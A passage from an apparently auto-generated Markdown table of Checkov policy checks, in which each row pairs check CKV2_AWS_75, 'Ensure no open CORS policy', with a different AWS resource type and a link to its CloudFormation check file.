[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1426 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1427 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1428 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1429 | CKV2_AWS_75 | resource | aws_securityhub_standards_control                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1430 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1431 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1432 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1433 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1434 | CKV2_AWS_75 | resource | aws_securitylake_data_lake                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1435 | CKV2_AWS_75 | resource | aws_securitylake_subscriber                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1436 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1437 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1438 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1439 | CKV2_AWS_75 | resource | aws_service_discovery_instance                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1440 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1441 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1442 | CKV2_AWS_75 | resource | aws_service_discovery_service                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1443 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1444 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1445 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1446 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1447 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1448 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1449 | CKV2_AWS_75 | resource | aws_servicecatalog_product                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1450 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1451 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1452 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1453 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1454 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1455 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1456 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1457 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1458 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1459 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1460 | CKV2_AWS_75 | resource | aws_servicequotas_template                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1461 | CKV2_AWS_75 | resource | aws_servicequotas_template_association                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1462 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1463 | CKV2_AWS_75 | resource | aws_ses_configuration_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1464 | CKV2_AWS_75 | resource | aws_ses_domain_dkim                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1465 | CKV2_AWS_75 | resource | aws_ses_domain_identity                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1466 | CKV2_AWS_75 | resource | aws_ses_domain_identity_verification                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1467 | CKV2_AWS_75 | resource | aws_ses_domain_mail_from                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1468 | CKV2_AWS_75 | resource | aws_ses_email_identity                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1469 | CKV2_AWS_75 | resource | aws_ses_event_destination                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1470 | CKV2_AWS_75 | resource | aws_ses_identity_notification_topic                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1471 | CKV2_AWS_75 | resource | aws_ses_identity_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1472 | CKV2_AWS_75 | resource | aws_ses_receipt_filter                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1473 | CKV2_AWS_75 | resource | aws_ses_receipt_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1474 | CKV2_AWS_75 | resource | aws_ses_receipt_rule_set                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1475 | CKV2_AWS_75 | resource | aws_ses_template                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1476 | CKV2_AWS_75 | resource | aws_sesv2_account_suppression_attributes                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1477 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1478 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1479 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1480 | CKV2_AWS_75 | resource | aws_sesv2_contact_list                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1481 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1482 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1483 | CKV2_AWS_75 | resource | aws_sesv2_email_identity                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1484 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1485 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1486 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1487 | CKV2_AWS_75 | resource | aws_sfn_activity                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1488 | CKV2_AWS_75 | resource | aws_sfn_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1489 | CKV2_AWS_75 | resource | aws_sfn_state_machine                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1490 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1491 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1492 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1493 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1494 | CKV2_AWS_75 | resource | aws_shield_protection                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1495 | CKV2_AWS_75 | resource | aws_shield_protection_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1496 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1497 | CKV2_AWS_75 | resource | aws_shield_subscription                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1498 | CKV2_AWS_75 | resource | aws_signer_signing_job                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1499 | CKV2_AWS_75 | resource | aws_signer_signing_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1500 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1501 | CKV2_AWS_75 | resource | aws_simpledb_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1502 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1503 | CKV2_AWS_75 | resource | aws_sns_platform_application                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1504 | CKV2_AWS_75 | resource | aws_sns_sms_preferences                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1505 | CKV2_AWS_75 | resource | aws_sns_topic                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1506 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1507 | CKV2_AWS_75 | resource | aws_sns_topic_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1508 | CKV2_AWS_75 | resource | aws_sns_topic_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1509 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1510 | CKV2_AWS_75 | resource | aws_spot_fleet_request                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1511 | CKV2_AWS_75 | resource | aws_spot_instance_request                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1512 | CKV2_AWS_75 | resource | aws_sqs_queue                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1513 | CKV2_AWS_75 | resource | aws_sqs_queue_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1514 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1515 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1516 | CKV2_AWS_75 | resource | aws_ssm_activation                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1517 | CKV2_AWS_75 | resource | aws_ssm_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1518 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1519 | CKV2_AWS_75 | resource | aws_ssm_document                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1520 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 